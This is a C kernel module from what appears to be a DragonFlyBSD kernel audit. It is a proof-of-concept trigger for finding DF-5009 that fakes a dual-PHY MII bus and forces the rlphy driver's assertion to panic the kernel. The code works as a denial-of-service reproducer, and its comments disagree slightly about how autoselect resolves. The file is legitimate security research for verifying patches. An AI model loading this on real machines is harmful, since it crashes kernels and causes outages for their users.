โฌข DragonFlyBSD Kernel Audit
DF-5009 / fakemic.c
โ† back to finding โ†“ download raw
/*
 * fakemic.c โ€” synthetic dual-PHY MII MAC controller (DF-5009 PoC trigger)
 *
 * Reproduces the hardware precondition for DF-5009 without any hardware:
 * a single MII bus carrying two PHYs โ€”
 *
 *   phy 0: RealTek RTL8201L (OUI 0x000020, model 0x20)  -> rlphy @ instance 0
 *   phy 1: unassigned vendor (OUI 0x0DEADB, model 0x9)  -> ukphy @ instance 1
 *
 * On such a bus (real-world shape: 8129/8139 combo cards, IP101 boards),
 * when the operator selects the *sibling* PHY's media โ€” a perfectly
 * legitimate action, e.g. `ifconfig <if> media autoselect` picks the
 * instance-1 autoselect entry because it sits at the head of the media
 * list (if_media.c:128 prepends) โ€” every subsequent mii_tick() (1 Hz
 * watchdog) and every mii_pollstat() (SIOCGIFMEDIA, unprivileged)
 * dispatches rlphy_service() with a foreign ifm_cur, and the KASSERT at
 * rlphy.c:200 fires:
 *
 *   panic: rlphy_service: can't isolate RealTek PHY
 *
 * on any INVARIANTS kernel โ€” including stock X86_64_GENERIC
 * (sys/config/X86_64_GENERIC:56 options INVARIANTS).
 *
 * fakemic provides exactly the register image both PHY drivers expect:
 *   - BMCR writes are shadowed; BMCR_RESET reads back clear so the
 *     mii_phy_reset() poll loop (mii_physubr.c:204-209) completes at once;
 *   - BMSR advertises ANEG + 10/100 capabilities (miibus_no_phy()
 *     at mii.c:105-116 requires media bits for a PHY to exist at all);
 *   - PHY IDs select rlphy (explicit ID match, rlphy.c:74-78) and
 *     ukphy (probe priority -100, ukphy.c:124).
 * Its softc starts with a zeroed struct ifnet so the sibling's
 * MII_TICK path bails out at the IFF_UP check (ukphy.c-style guard)
 * before doing anything else; rlphy never gets that far โ€” the KASSERT
 * at rlphy.c:200 is the first statement that touches ifm_cur.
 *
 * Usage in the guest:
 *   make SYSDIR=/usr/src/sys          # builds fakemic.ko
 *   kldload ./fakemic.ko              # attaches fakemic0 + dual-PHY miibus
 *   sysctl -w kern.fakemic_arm=1      # admin selects sibling media; the
 *                                     # watchdog tick -> kernel panic
 */
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/bus.h>
#include <sys/malloc.h>
#include <sys/socket.h>
#include <sys/sysctl.h>

#include <net/if.h>
#include <net/if_media.h>
#include <net/if_var.h>

#include <dev/netif/mii_layer/mii.h>
#include <dev/netif/mii_layer/miivar.h>
#include "miibus_if.h"

/* phy 0: RealTek RTL8201L โ€” matches rlphys[] (rlphy.c:75) */
#define	RTL8201L_ID1	0x0000
#define	RTL8201L_ID2	0x8201		/* OUI 0x000020, model 0x20, rev 1 */
/* phy 1: unassigned vendor โ€” no mii_phydesc match -> ukphy */
#define	UNKNOWN_ID1	0x37AB
#define	UNKNOWN_ID2	0x6C91		/* OUI 0x0DEADB, model 0x9, rev 1 */

#define	FMC_BMSR	(BMSR_ANEG | BMSR_100TXFDX | BMSR_100TXHDX | \
			 BMSR_10TFDX | BMSR_10THDX)
/*
 * The sibling additionally advertises 100baseT4 -- a media word rlphy
 * never adds.  ifmedia_match() ignores the instance field (ifm_mask is
 * seeded with IFM_IMASK at miibus_attach, mii.c:180), so "autoselect"
 * always resolves to the last matching entry (rlphy's).  The only way an
 * operator can select the SIBLING PHY is via a media subtype unique to
 * it -- exactly the combo-board case (fiber PHY with 1000SX, T4, ...).
 */
#define	FMC_BMSR_SIBLING	(FMC_BMSR | BMSR_100T4)

struct fakemic_softc {
	struct ifnet		ifnet;		/* mii_ifp; zeroed => !IFF_UP */
	device_t		miibus;
	uint16_t		phy[2][8];	/* canned register image */
};

static device_t	fakemic_dev;
static int	fakemic_armed;

static void	fakemic_identify(driver_t *, device_t);
static int	fakemic_probe(device_t);
static int	fakemic_attach(device_t);
static int	fakemic_detach(device_t);
static int	fakemic_readreg(device_t, int, int);
static int	fakemic_writereg(device_t, int, int, int);
static void	fakemic_statchg(device_t);
static void	fakemic_mediainit(device_t);
static int	fakemic_ifmedia_upd(struct ifnet *);
static void	fakemic_ifmedia_sts(struct ifnet *, struct ifmediareq *);

static device_method_t fakemic_methods[] = {
	DEVMETHOD(device_identify,	fakemic_identify),
	DEVMETHOD(device_probe,		fakemic_probe),
	DEVMETHOD(device_attach,	fakemic_attach),
	DEVMETHOD(device_detach,	fakemic_detach),
	DEVMETHOD(miibus_readreg,	fakemic_readreg),
	DEVMETHOD(miibus_writereg,	fakemic_writereg),
	DEVMETHOD(miibus_statchg,	fakemic_statchg),
	DEVMETHOD(miibus_mediainit,	fakemic_mediainit),
	DEVMETHOD_END
};

static devclass_t fakemic_devclass;

static driver_t fakemic_driver = {
	"fakemic",
	fakemic_methods,
	sizeof(struct fakemic_softc)
};

DRIVER_MODULE(fakemic, nexus, fakemic_driver, fakemic_devclass, NULL, NULL);
DRIVER_MODULE(miibus, fakemic, miibus_driver, miibus_devclass, NULL, NULL);
MODULE_DEPEND(fakemic, miibus, 1, 1, 1);

static void
fakemic_identify(driver_t *driver, device_t parent)
{
	if (device_find_child(parent, "fakemic", -1) == NULL)
		BUS_ADD_CHILD(parent, parent, 0, "fakemic", -1);
}

static int
fakemic_probe(device_t dev)
{
	device_set_desc(dev, "synthetic dual-PHY MII controller (DF-5009)");
	return (0);
}

static int
fakemic_attach(device_t dev)
{
	struct fakemic_softc *sc = device_get_softc(dev);
	struct mii_data *mii;
	int error;

	bzero(sc, sizeof(*sc));

	sc->phy[0][MII_BMCR] = 0;
	sc->phy[0][MII_BMSR] = FMC_BMSR;
	sc->phy[0][MII_PHYIDR1] = RTL8201L_ID1;
	sc->phy[0][MII_PHYIDR2] = RTL8201L_ID2;
	sc->phy[0][MII_ANAR] = ANAR_CSMA;

	sc->phy[1][MII_BMCR] = 0;
	sc->phy[1][MII_BMSR] = FMC_BMSR_SIBLING;
	sc->phy[1][MII_PHYIDR1] = UNKNOWN_ID1;
	sc->phy[1][MII_PHYIDR2] = UNKNOWN_ID2;
	sc->phy[1][MII_ANAR] = ANAR_CSMA;

	error = mii_phy_probe(dev, &sc->miibus,
	    fakemic_ifmedia_upd, fakemic_ifmedia_sts);
	if (error) {
			kprintf("fakemic: mii_phy_probe failed: %d\n", error);
		return (error);
	}

	mii = device_get_softc(sc->miibus);
	kprintf("fakemic: dual-PHY MII bus up; default media inst=%d "
	    "subtype=0x%x (expect inst=0 => rlphy autoselect)\n",
	    IFM_INST(mii->mii_media.ifm_cur->ifm_media),
	    (unsigned)IFM_SUBTYPE(mii->mii_media.ifm_cur->ifm_media));
	return (0);
}

static int
fakemic_detach(device_t dev)
{
	return (0);
}

static int
fakemic_readreg(device_t dev, int phy, int reg)
{
	struct fakemic_softc *sc = device_get_softc(dev);
	uint16_t v;

	if (phy < 0 || phy > 1 || reg < 0 || reg > 7)
		return (0xffff);		/* absent */
	v = sc->phy[phy][reg];
	if (reg == MII_BMCR)
		v &= ~BMCR_RESET;		/* reset completes instantly */
	return (v);
}

static int
fakemic_writereg(device_t dev, int phy, int reg, int data)
{
	struct fakemic_softc *sc = device_get_softc(dev);

	if (phy < 0 || phy > 1 || reg < 0 || reg > 7)
		return (0);
	sc->phy[phy][reg] = (uint16_t)data;
	return (0);
}

static void
fakemic_statchg(device_t dev)
{
}

static void
fakemic_mediainit(device_t dev)
{
}

static int
fakemic_ifmedia_upd(struct ifnet *ifp)
{
	return (0);
}

static void
fakemic_ifmedia_sts(struct ifnet *ifp, struct ifmediareq *ifmr)
{
	ifmr->ifm_active = IFM_ETHER | IFM_AUTO;
	ifmr->ifm_status = IFM_AVALID;
}

/*
 * Arm the trigger: create fakemic0 on nexus, then emulate the operator
 * action "select the sibling PHY's autoselect" (ifconfig fakemic0 media
 * autoselect) followed by the 1-second MII watchdog tick that every
 * MII MAC driver issues.  On an unpatched kernel this panics inside
 * rlphy_service(); on a patched kernel the sysctl returns to userland
 * and prints "mii_tick survived".
 */
static int
fakemic_arm_sysctl(SYSCTL_HANDLER_ARGS)
{
	int error, t = fakemic_armed;
	struct fakemic_softc *sc;
	struct mii_data *mii;

	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error || req->newptr == NULL)
		return (error);
	if (t == 0 || fakemic_armed)
		return (0);
	fakemic_armed = 1;

	if (fakemic_dev == NULL) {
		devclass_t dc;
		device_t d;

		dc = devclass_find("fakemic");
		if (dc == NULL) {
			kprintf("fakemic: no fakemic devclass (driver not loaded?)\n");
			return (0);
		}
		d = devclass_get_device(dc, 0);
		if (d == NULL) {
			kprintf("fakemic: fakemic0 not attached\n");
			return (0);
		}
		fakemic_dev = d;
	}

	sc = device_get_softc(fakemic_dev);
	mii = device_get_softc(sc->miibus);

	kprintf("fakemic: operator selects SIBLING PHY media "
	    "(\"ifconfig fakemic0 media 100baseT4\")\n");
	ifmedia_set(&mii->mii_media,
	    IFM_MAKEWORD(IFM_ETHER, IFM_100_T4, 0, 1));
	kprintf("fakemic: ifm_cur inst=%d; invoking MII watchdog mii_tick()\n",
	    IFM_INST(mii->mii_media.ifm_cur->ifm_media));
	mii_tick(mii);
	kprintf("fakemic: mii_tick survived -- rlphy KASSERT did NOT fire\n");
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, fakemic_arm, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, fakemic_arm_sysctl, "I", "arm DF-5009 dual-PHY trigger");